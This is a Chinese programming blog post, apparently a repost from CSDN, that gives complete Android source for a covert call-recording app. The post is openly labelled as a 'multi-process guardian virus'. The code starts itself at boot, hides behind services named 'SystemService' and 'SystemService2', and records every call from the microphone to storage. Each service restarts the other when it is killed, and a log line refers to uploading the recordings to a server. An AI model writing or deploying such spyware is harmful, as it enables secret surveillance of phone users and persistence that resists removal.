标签:
用服务开发
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <Button android:onClick="start" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="开始监听" /> <Button android:onClick="stop" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="停止监听" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima.phonelistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima.phonelistener.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.itheima.phonelistener.SystemService" > </service> <service android:name="com.itheima.phonelistener.SystemService2" > </service> <receiver android:name="com.itheima.phonelistener.BootReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application> </manifest>
package com.itheima.phonelistener; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void start(View view){ //开启服务。 Intent intent = new Intent(this,SystemService.class); startService(intent); } public void stop(View view){ //停止服务。 Intent intent = new Intent(this,SystemService.class); stopService(intent); } }
接收开机广播
package com.itheima.phonelistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent i = new Intent(context,SystemService.class); context.startService(i); } }
多进程守护病毒
package com.itheima.phonelistener; import java.io.File; import java.io.IOException; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class SystemService extends Service { // 电话管理器 private TelephonyManager tm; // 监听器对象 private MyListener listener; //声明录音机 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服务创建的时候调用的方法 @Override public void onCreate() { // 后台监听电话的呼叫状态。 // 得到电话管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当电话的呼叫状态发生变化的时候调用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空闲状态。 if(mediaRecorder!=null){ //8.停止捕获 mediaRecorder.stop(); //9.释放资源 mediaRecorder.release(); mediaRecorder = null; System.out.println("录制完毕,上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零响状态。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通话状态 //开始录音 //1.实例化一个录音机 mediaRecorder = new MediaRecorder(); //2.指定录音机的声音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.设置录制的文件输出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定录音文件的名称 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.设置音频的编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.准备开始录音 mediaRecorder.prepare(); //7.开始录音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服务销毁的时候调用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消电话的监听 System.out.println("ondestory"); Intent i = new Intent(this,SystemService2.class); startService(i); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; } }
package com.itheima.phonelistener; import java.io.File; import java.io.IOException; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class SystemService2 extends Service { // 电话管理器 private TelephonyManager tm; // 监听器对象 private MyListener listener; //声明录音机 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服务创建的时候调用的方法 @Override public void onCreate() { // 后台监听电话的呼叫状态。 // 得到电话管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当电话的呼叫状态发生变化的时候调用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空闲状态。 if(mediaRecorder!=null){ //8.停止捕获 mediaRecorder.stop(); //9.释放资源 mediaRecorder.release(); mediaRecorder = null; System.out.println("录制完毕,上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零响状态。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通话状态 //开始录音 //1.实例化一个录音机 mediaRecorder = new MediaRecorder(); //2.指定录音机的声音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.设置录制的文件输出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定录音文件的名称 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.设置音频的编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.准备开始录音 mediaRecorder.prepare(); //7.开始录音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服务销毁的时候调用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消电话的监听 System.out.println("ondestory"); tm.listen(listener, PhoneStateListener.LISTEN_NONE); Intent i = new Intent(this,SystemService.class); startService(i); listener = null; } }
标签:
原文地址:http://blog.csdn.net/waldmer/article/details/51347479